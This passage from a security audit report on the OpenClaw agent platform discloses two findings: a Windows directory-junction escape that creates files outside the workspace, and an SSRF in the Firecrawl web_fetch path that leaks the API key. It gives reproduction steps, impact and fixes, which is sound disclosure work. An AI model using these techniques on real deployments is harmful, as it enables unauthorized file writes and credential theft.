resolves the junction target and the <code class="notion-inline-code">isPathInside</code> check catches the escape. The vulnerability is specifically exploitable for <b>new file creation</b>, where <code class="notion-inline-code">realpath()</code> throws ENOENT and the code falls through to use the lexical path.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8004b110d04c76e476e1" data-id="3230f0c5b87c8004b110d04c76e476e1"><span><div id="3230f0c5b87c8004b110d04c76e476e1" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8004b110d04c76e476e1" title="Additional issue: /proc/self/fd unavailable on Windows"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Additional issue: /proc/self/fd unavailable on Windows</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8045b15fc111aa40cb30">The <code class="notion-inline-code">resolveOpenedFileRealPathForHandle()</code> function (referenced at line 468 in the write path) attempts to verify the opened file’s real path via <code class="notion-inline-code">/proc/self/fd/{fd}</code> or <code class="notion-inline-code">/dev/fd/{fd}</code>. On Windows, both paths are unavailable:</div><div class="notion-text notion-block-3230f0c5b87c806e8546d9bddef5d5ff">This means the fd-based path verification that provides defense-in-depth on Linux is completely absent on Windows. On Windows, this function always throws <code class="notion-inline-code">&quot;unable to resolve opened file path&quot;</code> – but only AFTER the file has been created on disk via <code class="notion-inline-code">O_CREAT</code>.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80ce8459c5ff954ccea9" data-id="3230f0c5b87c80ce8459c5ff954ccea9"><span><div id="3230f0c5b87c80ce8459c5ff954ccea9" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80ce8459c5ff954ccea9" title="The critical code path: new file creation escape"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">The critical code path: new file creation escape</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80a08606cc763e06e6cc" data-id="3230f0c5b87c80a08606cc763e06e6cc"><span><div id="3230f0c5b87c80a08606cc763e06e6cc" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80a08606cc763e06e6cc" title="Reproduction Steps"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Reproduction Steps</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c804ab6c3c560eb3bc0d9" data-id="3230f0c5b87c804ab6c3c560eb3bc0d9"><span><div id="3230f0c5b87c804ab6c3c560eb3bc0d9" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c804ab6c3c560eb3bc0d9" title="Prerequisites"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Prerequisites</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80ee987bf8162678bf24"><li>Windows 10/11 system</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c800bb068ff031d6a5e1a"><li>OpenClaw instance running on Windows</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80679241d6e16ff4acfb"><li>Directory junction creation (no special privileges required on Windows)</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80469773e62357425d34" data-id="3230f0c5b87c80469773e62357425d34"><span><div id="3230f0c5b87c80469773e62357425d34" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80469773e62357425d34" title="Step 1: Confirm O_NOFOLLOW is absent"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Step 1: Confirm O_NOFOLLOW is absent</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80fd9dc1ffab98d4a67c"><b>复现截图 - Windows 平台无 O_NOFOLLOW 支持：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c8061a85ac5ebb486cb77"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa003_step1_platform.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-8061-a85a-c5ebb486cb77" alt="Step 1" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c80df971ef8c21d661954">Step 1</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80719439fd8ab06c2189" data-id="3230f0c5b87c80719439fd8ab06c2189"><span><div id="3230f0c5b87c80719439fd8ab06c2189" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80719439fd8ab06c2189" title="Step 2: Confirm open flags lack O_NOFOLLOW"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Step 2: Confirm open flags lack O_NOFOLLOW</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c809ba513ed202f64f967" data-id="3230f0c5b87c809ba513ed202f64f967"><span><div id="3230f0c5b87c809ba513ed202f64f967" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c809ba513ed202f64f967" title="Step 3: End-to-end new file creation escape (verified on Windows 10, Node.js 22)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Step 3: End-to-end new file creation escape (verified on Windows 10, Node.js 22)</span></span></h4><div class="notion-text notion-block-3230f0c5b87c809bbcbcc64a0d373d08"><b>复现截图 - Junction 写入新文件逃逸：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c80f9a43bef06aee5bf24"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa003_step2_junction_write.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-80f9-a43b-ef06aee5bf24" alt="Step 2" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c801ebc12d8f1f598cece">Step 2</div><div class="notion-text notion-block-3230f0c5b87c8079a66cfa6f57ddf060">This PoC simulates the <code class="notion-inline-code">openWritableFileWithinRoot()</code> code path for creating a <b>new file</b> through a directory junction.</div><div class="notion-text notion-block-3230f0c5b87c801aae15ea1b8157cac3"><b>Why new files only</b>: For existing files, <code class="notion-inline-code">realpath()</code> at line 404 resolves through the junction and the <code class="notion-inline-code">isPathInside</code> check catches the escape. For new files, <code class="notion-inline-code">realpath()</code> throws ENOENT (file doesn’t exist yet), the code falls through, and <code class="notion-inline-code">open(O_CREAT|O_EXCL)</code> follows the junction.</div><div class="notion-text notion-block-3230f0c5b87c803cbc83f82fccc9f5ea"><b>Observed output (actual run, 2026-03-10):</b></div><div class="notion-text notion-block-3230f0c5b87c80b5a9c1df04699186e2">The file <code class="notion-inline-code">brand-new-file.txt</code> was created at <code class="notion-inline-code">outside/brand-new-file.txt</code>, outside the workspace root. The post-open <code class="notion-inline-code">resolveOpenedFileRealPathForHandle</code> would eventually detect the escape and throw an error, but the file creation (<code class="notion-inline-code">O_CREAT</code>) is an irreversible side effect that already completed.</div><div class="notion-text notion-block-3230f0c5b87c80f99df5d280cad74655"><b>Existing file reads/writes</b>: For completeness, <code class="notion-inline-code">realpath()</code> at line 404 successfully resolves an existing file through the junction and the <code class="notion-inline-code">isPathInside</code> check correctly blocks the access. This vulnerability is limited to <b>new file creation</b>.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c802abd80e435d9ce956b" data-id="3230f0c5b87c802abd80e435d9ce956b"><span><div id="3230f0c5b87c802abd80e435d9ce956b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c802abd80e435d9ce956b" title="Step 4: Why the post-open cleanup doesn’t help"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Step 4: Why the post-open cleanup doesn’t help</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80e9bdd6ddb7f54bfa81"><b>复现截图 - 已有文件检查（正确阻止）：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c8088b425df73a7614b77"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa003_step3_existing.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-8088-b425-df73a7614b77" alt="Step 3" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c80f98e05ee5a9c425a02">Step 3</div><div class="notion-text notion-block-3230f0c5b87c8033b60af1ac91a81743"><code class="notion-inline-code">openedRealPath</code> is <code class="notion-inline-code">null</code> (because <code class="notion-inline-code">resolveOpenedFileRealPathForHandle</code> threw before setting it), so <code class="notion-inline-code">cleanupPath</code> falls back to <code class="notion-inline-code">ioPath</code> – the lexical junction-containing path. On Windows, <code class="notion-inline-code">fs.rm()</code> on this path deletes through the junction, so it may clean up the outside file. However, this behavior is not guaranteed across all Windows versions and NTFS configurations, and the file existed on disk (with attacker-controlled content) during the window between creation and cleanup.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80c58c13cc91494634d7" data-id="3230f0c5b87c80c58c13cc91494634d7"><span><div id="3230f0c5b87c80c58c13cc91494634d7" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80c58c13cc91494634d7" title="Impact"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Impact</span></span></h4><div class="notion-text notion-block-3230f0c5b87c800ba820f1fbe07644b2">On Windows deployments of OpenClaw:</div><ol start="1" class="notion-list notion-list-numbered notion-block-3230f0c5b87c8042991ce01fde4dd5de" style="list-style-type:decimal"><li><b>Workspace escape (new file write)</b>: An attacker who can create a directory junction inside the workspace can write new files to arbitrary locations outside the workspace root. The <code class="notion-inline-code">realpath()</code> check fails with ENOENT for non-existent files, and <code class="notion-inline-code">open(O_CREAT)</code> follows the junction. Verified: wrote <code class="notion-inline-code">brand-new-file.txt</code> outside workspace.</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-3230f0c5b87c804e8786e7ceddab0962" style="list-style-type:decimal"><li><b>No fd-based verification</b>: The <code class="notion-inline-code">/proc/self/fd</code> defense-in-depth mechanism is unavailable on Windows (<code class="notion-inline-code">fdCandidates = []</code> at line 368). The function always throws on Windows, but only after the file has been created.</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-3230f0c5b87c80929698e70088ecf392" style="list-style-type:decimal"><li><b>No privilege requirement</b>: Directory junctions on Windows do not require Developer Mode or admin privileges.</li></ol><div class="notion-text notion-block-3230f0c5b87c8036b2d5cfb2e76df2a7"><b>Limitations</b>: This does NOT affect reads or overwrites of existing files – <code class="notion-inline-code">realpath()</code> correctly resolves those through junctions and the <code class="notion-inline-code">isPathInside</code> check blocks them.</div><div class="notion-text notion-block-3230f0c5b87c807eb826f14b3c6f50d0">This was verified end-to-end on Windows 10 with Node.js 22.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c807f942cf4b1988b424f" data-id="3230f0c5b87c807f942cf4b1988b424f"><span><div id="3230f0c5b87c807f942cf4b1988b424f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c807f942cf4b1988b424f" title="Suggested Fix"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Suggested Fix</span></span></h4><ol start="1" class="notion-list notion-list-numbered notion-block-3230f0c5b87c8046bde5eaccba7af155" style="list-style-type:decimal"><li><b>Resolve parent directory before creating new files</b>: Before <code class="notion-inline-code">open(O_CREAT)</code>, call <code class="notion-inline-code">realpath()</code> on the parent directory (<code class="notion-inline-code">path.dirname(resolved)</code>) and verify it is inside the workspace root. This catches junctions in path components even when the target file doesn’t exist yet.</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-3230f0c5b87c809bb74ac8298c87b4d7" style="list-style-type:decimal"><li><b>Use </b><code class="notion-inline-code"><b>FILE_FLAG_OPEN_REPARSE_POINT</b></code>: On Windows, opening with this flag prevents following junctions/symlinks. Node.js does not expose this directly, but it can be accessed via native addons or N-API.</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-3230f0c5b87c8063884ccddebd4eaa0e" style="list-style-type:decimal"><li><b>Deny junction creation in workspace</b>: Use Windows filesystem ACLs to prevent junction creation within workspace directories.</li></ol><hr class="notion-hr notion-block-3230f0c5b87c8090aeeace4db90742ef"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-3230f0c5b87c8096ba27f9883ee64665" data-id="3230f0c5b87c8096ba27f9883ee64665"><span><div id="3230f0c5b87c8096ba27f9883ee64665" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8096ba27f9883ee64665" title="GHSA-004: SSRF and API Key Exfiltration via Unguarded Firecrawl Integration"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">GHSA-004: SSRF and API Key Exfiltration via Unguarded Firecrawl Integration</span></span></h3><blockquote class="notion-quote notion-block-3230f0c5b87c801d9386cc9b39db3ab2"><div><b>严重级别</b>: High  |  <b>类型</b>: SSRF + 凭证泄露  |  <b>状态</b>: 已验证</div></blockquote><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c807aa3f2e232e147b862" data-id="3230f0c5b87c807aa3f2e232e147b862"><span><div id="3230f0c5b87c807aa3f2e232e147b862" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c807aa3f2e232e147b862" title="Summary"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Summary</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80579986f4c45c8e988f">OpenClaw’s <code class="notion-inline-code">web_fetch</code> tool contains a Server-Side Request Forgery (SSRF) vulnerability in its Firecrawl integration path. The vulnerability allows attackers with <code class="notion-inline-code">operator.admin</code> scope to redirect HTTP requests to arbitrary internal/external endpoints and exfiltrate the Firecrawl API key through the <code class="notion-inline-code">Authorization</code> header.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80ef9cfcc987252e1c9c" data-id="3230f0c5b87c80ef9cfcc987252e1c9c"><span><div id="3230f0c5b87c80ef9cfcc987252e1c9c" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80ef9cfcc987252e1c9c" title="Severity"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Severity</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80318fdde620e01a5827"><b>High</b> - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N (Base Score: 7.7)</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80908e3fca04fc26cf9a" data-id="3230f0c5b87c80908e3fca04fc26cf9a"><span><div id="3230f0c5b87c80908e3fca04fc26cf9a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80908e3fca04fc26cf9a" title="Affected Versions"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Affected Versions</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80ca89dee03c928b1435"><li>All versions with Firecrawl integration enabled</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80b89011cc835c60055a"><li>Affects: <code class="notion-inline-code">src/agents/tools/web-fetch.ts</code></li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c804f9fe6df1771eeaaa4" data-id="3230f0c5b87c804f9fe6df1771eeaaa4"><span><div id="3230f0c5b87c804f9fe6df1771eeaaa4" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c804f9fe6df1771eeaaa4" title="Vulnerability Details"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Vulnerability Details</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80a8852cfbde9b3628c7" data-id="3230f0c5b87c80a8852cfbde9b3628c7"><span><div id="3230f0c5b87c80a8852cfbde9b3628c7" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80a8852cfbde9b3628c7" title="Root Cause"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Root Cause</span></span></h4><div class="notion-text notion-block-3230f0c5b87c809b8562c0ee911c9284">The Firecrawl integration uses native <code class="notion-inline-code">fetch()</code> without SSRF protection, while the main web-fetch path uses the protected <code class="notion-inline-code">fetchWithWebToolsNetworkGuard()</code>:</div><div class="notion-text notion-block-3230f0c5b87c801b887dc6a3b6cc2f4f"><b>Vulnerable Code Path</b> (<code class="notion-inline-code">src/agents/tools/web-fetch.ts:385</code>):</div><div class="notion-text notion-block-3230f0c5b87c80f1bb46da06c2ec15fc"><b>Secure Code Path</b> (<code class="notion-inline-code">src/agents/tools/web-fetch.ts:532</code>):</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8047b24de10d197729a1" data-id="3230f0c5b87c8047b24de10d197729a1"><span><div id="3230f0c5b87c8047b24de10d197729a1" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8047b24de10d197729a1" title="Attack Vector"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Attack Vector</span></span></h4><ol start="1" class="notion-list notion-list-numbered notion-block-3230f0c5b87c80efb353fdbbd7610533" style="list-style-type:decimal"><li><b>Configuration Modification</b>: Attacker with <code class="notion-inline-code">operator.admin</code> scope calls <code class="notion-inline-code">config.patch</code> API:</li></ol><ol start="1" class="notion-list notion-list-numbered notion-block-3230f0c5b87c8086a1e1cc9abc7c90aa" style="list-style-type:decimal"><li><b>Trigger Agent Action</b>: Any agent <code class="notion-inline-code">web_fetch()</code> call triggers the SSRF:</li></ol><ol start="1" class="notion-list notion-list-numbered notion-block-3230f0c5b87c805f94b5da4471406ddc" style="list-style-type:decimal"><li><b>Credential Exfiltration</b>: Attacker receives:</li></ol><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8071b531df22d20d3bc7" data-id="3230f0c5b87c8071b531df22d20d3bc7"><span><div id="3230f0c5b87c8071b531df22d20d3bc7" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8071b531df22d20d3bc7" title="Proof of Concept"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Proof of Concept</span></span></h4><h4 class="notion-h 